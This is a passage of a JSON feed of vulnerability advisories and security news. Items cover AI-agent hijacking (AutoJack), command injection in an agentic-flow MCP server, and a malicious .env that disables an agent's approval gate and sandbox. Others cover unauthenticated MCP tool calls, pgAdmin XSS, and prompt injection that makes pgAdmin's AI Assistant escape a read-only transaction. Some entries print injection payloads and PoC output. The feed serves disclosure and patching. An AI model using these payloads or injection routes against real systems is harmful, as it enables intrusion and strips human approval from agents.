            "title": "AutoJack Attack Lets One Web Page Hijack AI Agent for Host Code Execution",
            "url": "https://thehackernews.com/2026/06/autojack-attack-lets-one-web-page.html",
            "content_html": "Microsoft researchers have detailed an exploit chain, named\u00a0AutoJack, that turns an AI browsing agent into a delivery vehicle for remote code execution.\n\nSteer the agent to load an attacker's web page, and that page's JavaScript can reach a privileged local service on the same machine and spawn a process on the host.\n\nNo credentials, no sign-in screen, and no further user interaction once",
            "summary": "Microsoft researchers have detailed an exploit chain, named\u00a0AutoJack, that turns an AI browsing agent into a delivery vehicle for remote code execution.\n\nSteer the agent to load an attacker's web page, and that page's JavaScript can reach a privileged local service on the same machine and spawn a process on the host.\n\nNo credentials, no sign-in screen, and no further user interaction once",
            "date_published": "2026-06-20T18:00:01+00:00",
            "date_modified": "2026-06-20T18:00:01+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee39d-94ca-7136-bba9-458059d7ceaf",
            "title": "CVE-2023-54353: Chromacam 4.0.3.0 contains an unquoted service path vulnerability in the PsyFrameGrabberService that allows local attack",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-54353",
            "content_html": "Chromacam 4.0.3.0 contains an unquoted service path vulnerability in the PsyFrameGrabberService that allows local attackers to execute arbitrary code by placing malicious executables in unquoted path directories. Attackers with write access to C:\\ or subdirectories like C:\\Program Files (x86)\\Personify\\ can place a malicious Program.exe or PsyFrameGrabberService.exe file that executes with LocalSystem privileges when the service starts automatically at boot.",
            "summary": "Chromacam 4.0.3.0 contains an unquoted service path vulnerability in the PsyFrameGrabberService that allows local attackers to execute arbitrary code by placing malicious executables in unquoted path directories. Attackers with write access to C:\\ or subdirectories like C:\\Program Files (x86)\\Personify\\ can place a malicious Program.exe or PsyFrameGrabberService.exe file that executes with LocalSystem privileges when the service starts automatically at boot.",
            "date_published": "2026-06-20T12:00:44+00:00",
            "date_modified": "2026-06-20T12:00:44+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c05f-71bc-aec3-4c6f1b2c7ff5",
            "title": "Agentic-Flow: OS Command Injection in agentic-flow MCP server tools via unsanitized tool-parameter interpolation into execSync",
            "url": "https://github.com/advisories/GHSA-vcv2-r9jh-99m5",
            "content_html": "## Summary\n\n`agentic-flow` versions ` \/tmp\/rce.txt; echo \\\"\"\n}\n```\n\nproduces, after interpolation:\n\n```\nnpx --yes agentic-flow --agent \"coder\" --task \"x\"; touch \/tmp\/INJECTED; id > \/tmp\/rce.txt; echo \"\"\n```\n\nWhen `execSync` hands that to `\/bin\/sh -c`, the shell parses three commands: the truncated `npx`, then `touch \/tmp\/INJECTED`, then `id > \/tmp\/rce.txt; echo \"\"`. The marker file `\/tmp\/INJECTED` is created and the user's `id` output is written to `\/tmp\/rce.txt`.\n\n## Patches\n\nFixed in [`agentic-flow@2.0.14`](https:\/\/www.npmjs.com\/package\/agentic-flow\/v\/2.0.14) \u2014 every affected call site rewritten to use `execFileSync(file, argv, { shell: false })` so attacker-controlled argv elements are passed straight to `execve(2)` without shell parsing.\n\nFix PR: ruvnet\/agentic-flow#170 (merged at `0c2ec96`)\n\nA regression test (`tests\/security\/cwe-78-mcp-execsync.test.ts`) was added that statically scans every `src\/mcp\/**\/*.ts` file and fails the build if any new `execSync()` call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to `execFileSync`.\n\n## Workarounds\n\nUpgrade to `agentic-flow >= 2.0.14`. There is no in-product configuration that mitigates this without upgrading.\n\n## Downstream pin\n\nThe `ruflo` \/ `claude-flow` \/ `@claude-flow\/cli` packages bumped from `3.12.3` \u2192 `3.12.4` to pull the patched `agentic-flow`:\n\n- `ruflo@3.12.4`\n- `claude-flow@3.12.4`\n- `@claude-flow\/cli@3.12.4`\n\nEnd users running any of `npx ruflo@latest`, `npx claude-flow@latest`, or `npx @claude-flow\/cli@latest` are pinned to the fixed version.\n\n## Credit\n\nReported by **hackchang** via a well-scoped red-team report package (`npm_agentic-flow_report_package_20260618_163017.zip`) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.",
            "summary": "## Summary\n\n`agentic-flow` versions ` \/tmp\/rce.txt; echo \\\"\"\n}\n```\n\nproduces, after interpolation:\n\n```\nnpx --yes agentic-flow --agent \"coder\" --task \"x\"; touch \/tmp\/INJECTED; id > \/tmp\/rce.txt; echo \"\"\n```\n\nWhen `execSync` hands that to `\/bin\/sh -c`, the shell parses three commands: the truncated `npx`, then `touch \/tmp\/INJECTED`, then `id > \/tmp\/rce.txt; echo \"\"`. The marker file `\/tmp\/INJECTED` is created and the user's `id` output is written to `\/tmp\/rce.txt`.\n\n## Patches\n\nFixed in [`agentic-flow@2.0.14`](https:\/\/www.npmjs.com\/package\/agentic-flow\/v\/2.0.14) \u2014 every affected call site rewritten to use `execFileSync(file, argv, { shell: false })` so attacker-controlled argv elements are passed straight to `execve(2)` without shell parsing.\n\nFix PR: ruvnet\/agentic-flow#170 (merged at `0c2ec96`)\n\nA regression test (`tests\/security\/cwe-78-mcp-execsync.test.ts`) was added that statically scans every `src\/mcp\/**\/*.ts` file and fails the build if any new `execSync()` call is reintroduced outside of a documented exemption, plus a behavioural smoke check that the canonical PoC payload remains inert when passed as an argv element to `execFileSync`.\n\n## Workarounds\n\nUpgrade to `agentic-flow >= 2.0.14`. There is no in-product configuration that mitigates this without upgrading.\n\n## Downstream pin\n\nThe `ruflo` \/ `claude-flow` \/ `@claude-flow\/cli` packages bumped from `3.12.3` \u2192 `3.12.4` to pull the patched `agentic-flow`:\n\n- `ruflo@3.12.4`\n- `claude-flow@3.12.4`\n- `@claude-flow\/cli@3.12.4`\n\nEnd users running any of `npx ruflo@latest`, `npx claude-flow@latest`, or `npx @claude-flow\/cli@latest` are pinned to the fixed version.\n\n## Credit\n\nReported by **hackchang** via a well-scoped red-team report package (`npm_agentic-flow_report_package_20260618_163017.zip`) that included a sink inventory, a minimized PoC payload, and a clear explanation of why this was a partial-fix gap rather than intended behaviour. The sink inventory directly drove the single-grep pass that closed every reachable call site; the PoC payload became the behavioural smoke test that proves the canonical attack stays inert as an argv element.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c06f-70f2-b3c4-ee8c268313ad",
            "title": "ouroboros-ai: Incomplete fix of CVE-2026-47211: untrusted project .env can still reach RCE via omitted execution-routing keys",
            "url": "https://github.com/advisories/GHSA-jv2h-4p9v-wf5w",
            "content_html": "### Impact\nThe CVE-2026-47211 fix (0.39.0) added `_UNTRUSTED_ENV_DENYLIST` to stop an untrusted project-directory `.env` from redirecting execution. The denylist was incomplete \u2014 several execution-routing keys of the same RCE class were omitted, so a malicious cloned repo can still reach arbitrary command execution by shipping a `.env` (auto-loaded at import, no review step):\n\n- **Backend config-home roots** `CODEX_HOME`, `OPENCODE_CONFIG`, `OPENCODE_CONFIG_DIR`, `XDG_CONFIG_HOME`: a spawned vendor CLI resolves its config from these. `CODEX_HOME=.\/.evil` + committed `.\/.evil\/config.toml` redirects the nested Codex agent to attacker config \u2014 `mcp_servers..command\/args` (RCE) and `approval_policy=\"never\"` \/ `sandbox_mode=\"danger-full-access\"` (silent removal of the human approval gate). (reported by matte1782)\n- **MCP bridge \/ plugin execution roster** `OUROBOROS_MCP_CONFIG` (the YAML's server `command`\/`args` are spawned via stdio_client \u2014 RCE), `OUROBOROS_PLUGIN_LOCKFILE`, `OUROBOROS_PLUGIN_TRUST_ROOT` (redirect the installed-plugin roster \/ trust root so `ooo ` dispatches into attacker code). (reported by hackkim)\n- **SSRF guard toggle** `OUROBOROS_ALLOW_LOCAL_TRANSPORT` (re-enables loopback\/private MCP transport targets).\n- **Instruction \/ capability roots** `OUROBOROS_AGENTS_DIR`, `COPILOT_CUSTOM_INSTRUCTIONS_DIRS` (replace spawned sub-agent role prompts), `OUROBOROS_RUNTIME_PROFILE` (backend selector), `OUROBOROS_TOOL_CAPABILITIES` (override YAML can lower a tool's `approval_class`, weakening the approval gate).\n\nAdditionally, the MCP bridge auto-loaded `.\/.ouroboros\/mcp_servers.yaml` from the working directory (`create_bridge_from_env(cwd=Path.cwd())`), so running `ooo` inside a malicious repo spawned the committed roster's `command` \u2014 RCE with no `.env` at all. (cwd-branch noted by hackkim)\n\n### Patches\nFixed in 0.42.1. All listed keys were added to `_UNTRUSTED_ENV_DENYLIST`; the cwd auto-discovery branch was removed (only the explicit `OUROBOROS_MCP_CONFIG` env var and `~\/.ouroboros\/mcp_servers.yaml` remain, both trusted). The regression suite now derives from the source denylist to prevent future drift.\n\n### Workarounds\nDo not run Ouroboros from an untrusted\/cloned repository directory; remove any project-directory `.env` and `.\/.ouroboros\/mcp_servers.yaml` before running.\n\n### Credit\nReported privately via coordinated disclosure by matte1782 and hackkim (https:\/\/github.com\/hackkim).",
            "summary": "### Impact\nThe CVE-2026-47211 fix (0.39.0) added `_UNTRUSTED_ENV_DENYLIST` to stop an untrusted project-directory `.env` from redirecting execution. The denylist was incomplete \u2014 several execution-routing keys of the same RCE class were omitted, so a malicious cloned repo can still reach arbitrary command execution by shipping a `.env` (auto-loaded at import, no review step):\n\n- **Backend config-home roots** `CODEX_HOME`, `OPENCODE_CONFIG`, `OPENCODE_CONFIG_DIR`, `XDG_CONFIG_HOME`: a spawned vendor CLI resolves its config from these. `CODEX_HOME=.\/.evil` + committed `.\/.evil\/config.toml` redirects the nested Codex agent to attacker config \u2014 `mcp_servers..command\/args` (RCE) and `approval_policy=\"never\"` \/ `sandbox_mode=\"danger-full-access\"` (silent removal of the human approval gate). (reported by matte1782)\n- **MCP bridge \/ plugin execution roster** `OUROBOROS_MCP_CONFIG` (the YAML's server `command`\/`args` are spawned via stdio_client \u2014 RCE), `OUROBOROS_PLUGIN_LOCKFILE`, `OUROBOROS_PLUGIN_TRUST_ROOT` (redirect the installed-plugin roster \/ trust root so `ooo ` dispatches into attacker code). (reported by hackkim)\n- **SSRF guard toggle** `OUROBOROS_ALLOW_LOCAL_TRANSPORT` (re-enables loopback\/private MCP transport targets).\n- **Instruction \/ capability roots** `OUROBOROS_AGENTS_DIR`, `COPILOT_CUSTOM_INSTRUCTIONS_DIRS` (replace spawned sub-agent role prompts), `OUROBOROS_RUNTIME_PROFILE` (backend selector), `OUROBOROS_TOOL_CAPABILITIES` (override YAML can lower a tool's `approval_class`, weakening the approval gate).\n\nAdditionally, the MCP bridge auto-loaded `.\/.ouroboros\/mcp_servers.yaml` from the working directory (`create_bridge_from_env(cwd=Path.cwd())`), so running `ooo` inside a malicious repo spawned the committed roster's `command` \u2014 RCE with no `.env` at all. (cwd-branch noted by hackkim)\n\n### Patches\nFixed in 0.42.1. All listed keys were added to `_UNTRUSTED_ENV_DENYLIST`; the cwd auto-discovery branch was removed (only the explicit `OUROBOROS_MCP_CONFIG` env var and `~\/.ouroboros\/mcp_servers.yaml` remain, both trusted). The regression suite now derives from the source denylist to prevent future drift.\n\n### Workarounds\nDo not run Ouroboros from an untrusted\/cloned repository directory; remove any project-directory `.env` and `.\/.ouroboros\/mcp_servers.yaml` before running.\n\n### Credit\nReported privately via coordinated disclosure by matte1782 and hackkim (https:\/\/github.com\/hackkim).",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c07b-7150-95c1-eb53e05cc03b",
            "title": "ReDoS in DotVVM routing",
            "url": "https://github.com/advisories/GHSA-c2g3-c4gc-w5wg",
            "content_html": "### Impact\n\nThis impacts users which use multiple unconstrained route parameters not separated by a `\/`. For instance, the following code is vulnerable:\n```\nvar route = new DotvvmRoute(\"edit\/{a}-{b}-{c}\/done\", null, \"testpage\", null, null, configuration);\n\nvar adversarialInput = \"edit\/\" + new string('-', 32000);\nroute.IsMatch(adversarialInput, out _);\n```\n\n### Patches\n\nDotVVM versions 4.3.15, 4.2.11 and 5.0.0-preview09 apply a 1 second timeout to route regex operations. When it is triggered, DotVVM permanently switches to using the .NET non-backtracking regex engine for this route.\nIf non-backtracking is not supported by target runtime (< .NET 8.0), DotVVM returns HTTP 503 when the 1 second timeout is reached.\n\n### Workarounds\n\nAvoid multiple unconstrained route parameters in one section not separated by a `\/`.\nSee  for documentation of route parameter constraints.\nEven with the patched version we recommend doing this both as security hardening and to avoid ambiguity.\n\nFor instance, when we change the route URL to `\"edit\/{a:alpha}-{b:alpha}-{c}\/done\"`, the problem disappears.\nIf all available constraints are too restrictive, we can still use `{a:regex([^-]*)}` to forbid the `-`, which is enough to remove the mabiguity",
            "summary": "### Impact\n\nThis impacts users which use multiple unconstrained route parameters not separated by a `\/`. For instance, the following code is vulnerable:\n```\nvar route = new DotvvmRoute(\"edit\/{a}-{b}-{c}\/done\", null, \"testpage\", null, null, configuration);\n\nvar adversarialInput = \"edit\/\" + new string('-', 32000);\nroute.IsMatch(adversarialInput, out _);\n```\n\n### Patches\n\nDotVVM versions 4.3.15, 4.2.11 and 5.0.0-preview09 apply a 1 second timeout to route regex operations. When it is triggered, DotVVM permanently switches to using the .NET non-backtracking regex engine for this route.\nIf non-backtracking is not supported by target runtime (< .NET 8.0), DotVVM returns HTTP 503 when the 1 second timeout is reached.\n\n### Workarounds\n\nAvoid multiple unconstrained route parameters in one section not separated by a `\/`.\nSee  for documentation of route parameter constraints.\nEven with the patched version we recommend doing this both as security hardening and to avoid ambiguity.\n\nFor instance, when we change the route URL to `\"edit\/{a:alpha}-{b:alpha}-{c}\/done\"`, the problem disappears.\nIf all available constraints are too restrictive, we can still use `{a:regex([^-]*)}` to forbid the `-`, which is enough to remove the mabiguity",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c091-72ae-9e56-0d66b280aa1b",
            "title": "Network-AI: CVE-2026-46701 fix incomplete \u2014 empty default secret still authorizes all requests",
            "url": "https://github.com/advisories/GHSA-r78r-rwrf-rjwp",
            "content_html": "## Advisory \/ Disclosure\n\n# Network-AI \u2014 CVE-2026-46701 fix is incomplete: the \"Empty Default Secret\" unauth path survives\n\n**Target:** Jovancoding\/Network-AI (npm `network-ai`), **latest v5.7.1**\n**Status:** the advisory (\"Unauthenticated Cross-Origin MCP Tool Invocation via Empty\nDefault Secret\") named three flaws. The fix (5.4.5) closed the **CORS** flaw\n(`Access-Control-Allow-Origin` is now set only for localhost origins), but left the\n**empty-default-secret** flaw the title is about: the SSE MCP server still defaults to an\nempty secret, `_isAuthorized()` still returns `true` when the secret is empty, and a\nnon-loopback bind only **warns**. So the server still runs **fully unauthenticated by\ndefault** \u2014 any non-browser caller (curl, SSRF, or a `0.0.0.0` bind) can invoke all 22 MCP\ntools (`config_set`, `agent_spawn`, `blackboard_write`, `token_*`) with no credentials.\n**Class:** CWE-306\/CWE-862 Missing Authentication \u2014 incomplete fix.\n**Methodology:** M1 incomplete-fix audit (anchor = the 5.4.5 fix; sibling-walk on latest v5.7.1, executed).\n**Severity:** High (matches parent; the browser amplifier is removed, so exploitation now\nneeds non-browser reach \u2014 SSRF or a non-loopback bind, which the fix only warns about).\n\n## What the fix did and didn't do (verified on latest v5.7.1)\n| advisory flaw | latest v5.7.1 |\n|---|---|\n| wildcard CORS (`ACAO: *`) | **FIXED** \u2014 `lib\/mcp-transport-sse.ts` sets `ACAO` only when `origin` matches `^https?:\/\/(localhost\\|127\\.0\\.0\\.1)(:\\d+)?$` |\n| empty default secret | **NOT FIXED** \u2014 `bin\/mcp-server.ts`: `secret: process.env['NETWORK_AI_MCP_SECRET'] ?? ''` |\n| `_isAuthorized` open on empty secret | **NOT FIXED** \u2014 `if (!this._opts.secret) return true;` |\n| require secret \/ refuse unauth bind | **NOT DONE** \u2014 `listen()` only `process.stderr.write('\u2026 WARNING \u2026')` on non-loopback bind, then listens anyway |\n\nThe advisory's remediation #1 (\"Require a non-empty secret at startup \u2026 `process.exit(1)`\")\nwas not implemented.\n\n## PoC (executed against the latest source, v5.7.1) \u2014 `poc\/legend-networkai-empty-secret.ts`\nInstantiates the real `McpSseServer` from the latest `lib\/` with a mock bridge and the\n**default (empty) secret**, then issues requests (run-log `poc\/run-log.txt`):\n\n```\nPOST \/mcp  no-auth, no-origin (curl\/SSRF) -> HTTP 200, dispatched=true\n   body: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"executed\":true,\"tool\":\"config_set\"}}\nPOST \/mcp  Origin: evil.example.com        -> ACAO=undefined   (CORS half fixed)\n```\nThe no-auth request passes `_isAuthorized` and reaches `handleRPC` (tool dispatched) \u2014 i.e.\nunauthenticated tool invocation persists on the latest release; only the browser-CORS read\namplifier was removed.\n\nRun: from a v5.7.1 checkout, `npm i` then\n`npx ts-node --transpile-only poc\/legend-networkai-empty-secret.ts`.\n\n## Recommended fix\nImplement the advisory's remediation #1: refuse to start SSE mode with an empty secret\n(unless `--stdio`), and\/or change `_isAuthorized` to fail closed (an empty configured\nsecret should mean \"deny\", not \"allow\"). The CORS allowlist alone does not authenticate\nnon-browser callers.\n\n## Precondition \/ honesty\nWith CORS now localhost-only, the drive-by *browser* attack is mitigated. The residual\nrequires a non-browser path to the port: an SSRF on the host, or the operator binding to a\nnon-loopback address (Docker\/remote), which the fix only warns about. The empty secret\nremains the shipped default and `_isAuthorized` still authorizes it.\n\n## Credits\n\n@Kai Aizen \/ @SnailSploit \u2014 https:\/\/snailsploit.com",
            "summary": "## Advisory \/ Disclosure\n\n# Network-AI \u2014 CVE-2026-46701 fix is incomplete: the \"Empty Default Secret\" unauth path survives\n\n**Target:** Jovancoding\/Network-AI (npm `network-ai`), **latest v5.7.1**\n**Status:** the advisory (\"Unauthenticated Cross-Origin MCP Tool Invocation via Empty\nDefault Secret\") named three flaws. The fix (5.4.5) closed the **CORS** flaw\n(`Access-Control-Allow-Origin` is now set only for localhost origins), but left the\n**empty-default-secret** flaw the title is about: the SSE MCP server still defaults to an\nempty secret, `_isAuthorized()` still returns `true` when the secret is empty, and a\nnon-loopback bind only **warns**. So the server still runs **fully unauthenticated by\ndefault** \u2014 any non-browser caller (curl, SSRF, or a `0.0.0.0` bind) can invoke all 22 MCP\ntools (`config_set`, `agent_spawn`, `blackboard_write`, `token_*`) with no credentials.\n**Class:** CWE-306\/CWE-862 Missing Authentication \u2014 incomplete fix.\n**Methodology:** M1 incomplete-fix audit (anchor = the 5.4.5 fix; sibling-walk on latest v5.7.1, executed).\n**Severity:** High (matches parent; the browser amplifier is removed, so exploitation now\nneeds non-browser reach \u2014 SSRF or a non-loopback bind, which the fix only warns about).\n\n## What the fix did and didn't do (verified on latest v5.7.1)\n| advisory flaw | latest v5.7.1 |\n|---|---|\n| wildcard CORS (`ACAO: *`) | **FIXED** \u2014 `lib\/mcp-transport-sse.ts` sets `ACAO` only when `origin` matches `^https?:\/\/(localhost\\|127\\.0\\.0\\.1)(:\\d+)?$` |\n| empty default secret | **NOT FIXED** \u2014 `bin\/mcp-server.ts`: `secret: process.env['NETWORK_AI_MCP_SECRET'] ?? ''` |\n| `_isAuthorized` open on empty secret | **NOT FIXED** \u2014 `if (!this._opts.secret) return true;` |\n| require secret \/ refuse unauth bind | **NOT DONE** \u2014 `listen()` only `process.stderr.write('\u2026 WARNING \u2026')` on non-loopback bind, then listens anyway |\n\nThe advisory's remediation #1 (\"Require a non-empty secret at startup \u2026 `process.exit(1)`\")\nwas not implemented.\n\n## PoC (executed against the latest source, v5.7.1) \u2014 `poc\/legend-networkai-empty-secret.ts`\nInstantiates the real `McpSseServer` from the latest `lib\/` with a mock bridge and the\n**default (empty) secret**, then issues requests (run-log `poc\/run-log.txt`):\n\n```\nPOST \/mcp  no-auth, no-origin (curl\/SSRF) -> HTTP 200, dispatched=true\n   body: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"executed\":true,\"tool\":\"config_set\"}}\nPOST \/mcp  Origin: evil.example.com        -> ACAO=undefined   (CORS half fixed)\n```\nThe no-auth request passes `_isAuthorized` and reaches `handleRPC` (tool dispatched) \u2014 i.e.\nunauthenticated tool invocation persists on the latest release; only the browser-CORS read\namplifier was removed.\n\nRun: from a v5.7.1 checkout, `npm i` then\n`npx ts-node --transpile-only poc\/legend-networkai-empty-secret.ts`.\n\n## Recommended fix\nImplement the advisory's remediation #1: refuse to start SSE mode with an empty secret\n(unless `--stdio`), and\/or change `_isAuthorized` to fail closed (an empty configured\nsecret should mean \"deny\", not \"allow\"). The CORS allowlist alone does not authenticate\nnon-browser callers.\n\n## Precondition \/ honesty\nWith CORS now localhost-only, the drive-by *browser* attack is mitigated. The residual\nrequires a non-browser path to the port: an SSRF on the host, or the operator binding to a\nnon-loopback address (Docker\/remote), which the fix only warns about. The empty secret\nremains the shipped default and `_isAuthorized` still authorizes it.\n\n## Credits\n\n@Kai Aizen \/ @SnailSploit \u2014 https:\/\/snailsploit.com",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee02e-7327-708e-af3b-209aa348aaf2",
            "title": "Every AI Agent Is an Identity. Most Organizations Don't Treat Them That Way",
            "url": "https://www.bleepingcomputer.com/news/security/every-ai-agent-is-an-identity-most-organizations-dont-treat-them-that-way/",
            "content_html": "AI agents can access data, trigger workflows, deploy code, and interact with critical business systems, often with little oversight. Token Security breaks down why AI agents are becoming a new identity and governance challenge. [...]",
            "summary": "AI agents can access data, trigger workflows, deploy code, and interact with critical business systems, often with little oversight. Token Security breaks down why AI agents are becoming a new identity and governance challenge. [...]",
            "date_published": "2026-06-20T18:00:01+00:00",
            "date_modified": "2026-06-20T18:00:01+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee02e-72cf-726a-9834-8ff2bf0a764e",
            "title": "From Assistive to Agentic: The AI Shift That's Redefining Threat Management",
            "url": "https://thehackernews.com/2026/06/from-assistive-to-agentic-ai-shift.html",
            "content_html": "Introduction\n\nThe average enterprise security team has 40 or more security tools, giving a lot of visibility into internal telemetry and asset data. But often, these tools are working in siloes, generating (overlapping) alerts and data. And yet, breach dwell times remain stubbornly long (~43 days), response windows keep closing before teams can act, and analysts burn out triaging noise instead",
            "summary": "Introduction\n\nThe average enterprise security team has 40 or more security tools, giving a lot of visibility into internal telemetry and asset data. But often, these tools are working in siloes, generating (overlapping) alerts and data. And yet, breach dwell times remain stubbornly long (~43 days), response windows keep closing before teams can act, and analysts burn out triaging noise instead",
            "date_published": "2026-06-20T18:00:01+00:00",
            "date_modified": "2026-06-20T18:00:01+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019edee5-29f1-73c3-ac34-4d586eb3bc4a",
            "title": "Cisco to Acquire WideField Security to Boost Splunk\u2019s Agentic SOC",
            "url": "https://www.securityweek.com/cisco-to-acquire-widefield-security-to-boost-splunks-agentic-soc/",
            "content_html": "WideField will accelerate Agentic SOC capabilities by expanding the lens on threat investigation to include identity, credentials, sessions, and blast radius.\nThe post Cisco to Acquire WideField Security to Boost Splunk\u2019s Agentic SOC appeared first on SecurityWeek.",
            "summary": "WideField will accelerate Agentic SOC capabilities by expanding the lens on threat investigation to include identity, credentials, sessions, and blast radius.\nThe post Cisco to Acquire WideField Security to Boost Splunk\u2019s Agentic SOC appeared first on SecurityWeek.",
            "date_published": "2026-06-20T18:00:01+00:00",
            "date_modified": "2026-06-20T18:00:01+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ede77-4ff3-7060-b8ae-0d3f8ffa032e",
            "title": "CVE-2026-12048: Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL ",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12048",
            "content_html": "Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL server (ErrorResponse messages, including object names quoted back inside relation-does-not-exist errors and inside EXPLAIN Recheck Cond \/ Exact Heap Blocks fields) was passed verbatim through html-react-parser at every user-facing sink \u2014 the notifier toasts, FormFooterMessage \/ FormInput help and error areas, FormNote, ModalProvider AlertContent and confirmDelete, ToolErrorView, the Explain visualiser's NodeText panel, the SQL editor confirm dialogs, ConfirmSaveContent, PreferencesHelper modal alerts, and SelectThemes helper text. A PostgreSQL server an attacker controls \u2014 or any server returning attacker-influenced text such as a table or column name a low-privilege database user can create \u2014 could inject arbitrary HTML (including ) into the pgAdmin DOM the moment the victim's pgAdmin connected to that server or viewed an Explain plan that referenced the crafted object.\n\nThe injected iframe's srcdoc could fetch attacker-served JavaScript and, by writing to parent.location, redirect the victim's top-level pgAdmin browser tab to an attacker-controlled URL. Because the injection originates from inside pgAdmin's own interface, standard anti-clickjacking controls (X-Frame-Options, Content-Security-Policy: frame-ancestors) do not mitigate it. A phishing page rendered inside the legitimate pgAdmin window is indistinguishable from a genuine pgAdmin dialog.\n\nFix combines three complementary layers. (1) DOMPurify sanitisation is wrapped around every html-react-parser call site reachable from notifier, alert, form-error, Explain, and SQL-editor flows. (2) A new plain-text rendering contract \u2014 SafeMessage \/ SafeHtmlMessage components plus Notifier.errorText \/ alertText \/ warningText \/ infoText \/ successText helpers \u2014 is introduced; around fifty callers across browser, tools, dashboard, debugger, misc, llm, preferences, schema diff, and the SQL editor that previously interpolated backend-derived strings are migrated to the plain-text variants. (3) Backend HTML-escape is applied at the post-connection-SQL handler (execute_post_connection_sql) via a new sanitize_external_text helper, so third-party JSON consumers (audit logs, API clients) never receive raw markup either; the Explain plan-info renderer is also patched to _.escape Recheck Cond and Exact Heap Blocks at construction (matching every sibling field), giving defence in depth even before DOMPurify runs.\n\nThis issue affects pgAdmin 4: from 6.0 before 9.16.",
            "summary": "Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL server (ErrorResponse messages, including object names quoted back inside relation-does-not-exist errors and inside EXPLAIN Recheck Cond \/ Exact Heap Blocks fields) was passed verbatim through html-react-parser at every user-facing sink \u2014 the notifier toasts, FormFooterMessage \/ FormInput help and error areas, FormNote, ModalProvider AlertContent and confirmDelete, ToolErrorView, the Explain visualiser's NodeText panel, the SQL editor confirm dialogs, ConfirmSaveContent, PreferencesHelper modal alerts, and SelectThemes helper text. A PostgreSQL server an attacker controls \u2014 or any server returning attacker-influenced text such as a table or column name a low-privilege database user can create \u2014 could inject arbitrary HTML (including ) into the pgAdmin DOM the moment the victim's pgAdmin connected to that server or viewed an Explain plan that referenced the crafted object.\n\nThe injected iframe's srcdoc could fetch attacker-served JavaScript and, by writing to parent.location, redirect the victim's top-level pgAdmin browser tab to an attacker-controlled URL. Because the injection originates from inside pgAdmin's own interface, standard anti-clickjacking controls (X-Frame-Options, Content-Security-Policy: frame-ancestors) do not mitigate it. A phishing page rendered inside the legitimate pgAdmin window is indistinguishable from a genuine pgAdmin dialog.\n\nFix combines three complementary layers. (1) DOMPurify sanitisation is wrapped around every html-react-parser call site reachable from notifier, alert, form-error, Explain, and SQL-editor flows. (2) A new plain-text rendering contract \u2014 SafeMessage \/ SafeHtmlMessage components plus Notifier.errorText \/ alertText \/ warningText \/ infoText \/ successText helpers \u2014 is introduced; around fifty callers across browser, tools, dashboard, debugger, misc, llm, preferences, schema diff, and the SQL editor that previously interpolated backend-derived strings are migrated to the plain-text variants. (3) Backend HTML-escape is applied at the post-connection-SQL handler (execute_post_connection_sql) via a new sanitize_external_text helper, so third-party JSON consumers (audit logs, API clients) never receive raw markup either; the Explain plan-info renderer is also patched to _.escape Recheck Cond and Exact Heap Blocks at construction (matching every sibling field), giving defence in depth even before DOMPurify runs.\n\nThis issue affects pgAdmin 4: from 6.0 before 9.16.",
            "date_published": "2026-06-19T12:00:31+00:00",
            "date_modified": "2026-06-19T12:00:31+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ede77-4fe8-727f-ae02-7139f9dcf4b3",
            "title": "CVE-2026-12045: Read-only transaction bypass in the pgAdmin 4 AI Assistant allows an attacker who can influence database content that th",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12045",
            "content_html": "Read-only transaction bypass in the pgAdmin 4 AI Assistant allows an attacker who can influence database content that the assistant reads to execute arbitrary SQL with the privileges of the pgAdmin user's database role.\n\nThe AI Assistant's execute_sql_query tool runs LLM-generated SQL inside a BEGIN TRANSACTION READ ONLY wrapper to prevent data modification. The LLM-supplied query was forwarded to the database driver without restriction to a single statement or to read-only verbs, so a multi-statement payload beginning with COMMIT, END, ROLLBACK, or ABORT terminated the read-only transaction and ran subsequent statements in autocommit mode. The trailing ROLLBACK then had no effect.\n\nDelivery is via prompt injection: an attacker who can write content into any object the AI Assistant may inspect (a row, a column value, a comment) can cause the LLM to emit the multi-statement payload as a tool call. With ordinary write privileges on the pgAdmin user's role the attacker can perform unauthorised data modification. When the pgAdmin user's role is a PostgreSQL superuser or holds pg_execute_server_program, the chain extends to remote code execution on the database server host via COPY ... TO 